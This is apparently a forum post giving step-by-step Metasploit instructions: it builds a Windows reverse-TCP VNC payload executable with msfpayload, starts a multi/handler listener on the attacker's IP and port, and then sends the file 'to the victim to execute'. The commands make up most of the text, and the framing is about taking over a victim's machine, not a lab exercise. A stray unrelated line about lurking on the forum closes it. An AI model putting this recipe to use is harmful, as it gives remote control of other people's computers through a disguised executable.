i would use msfpayload...
./msfpayload windows/vncinject/reverse_tcp LHOST=192.168.1.5 LPORT=999 X -o reverse_vnc.exe
that will generate a win32 executable payload located in this directory /pentest/exploit/framework3/
before you send this to your victim you need to start a multi handler... start metasploit then use these commands...
use exploit/multi/handler
set PAYLOAD windows/vncinject/reverse_tcp
set LHOST 192.168.1.5
set LPORT 999
Note: lhost and lport must be the same in both the executable and the multi handler... lhost is the ip address of the attacking computer(backtrack)...
now that you have the multi handler set up to listen for incoming connections all you need to do now is send the payload to the victim to execute...


As many...i've been lurking around this forum for months and months soaking in all the information.

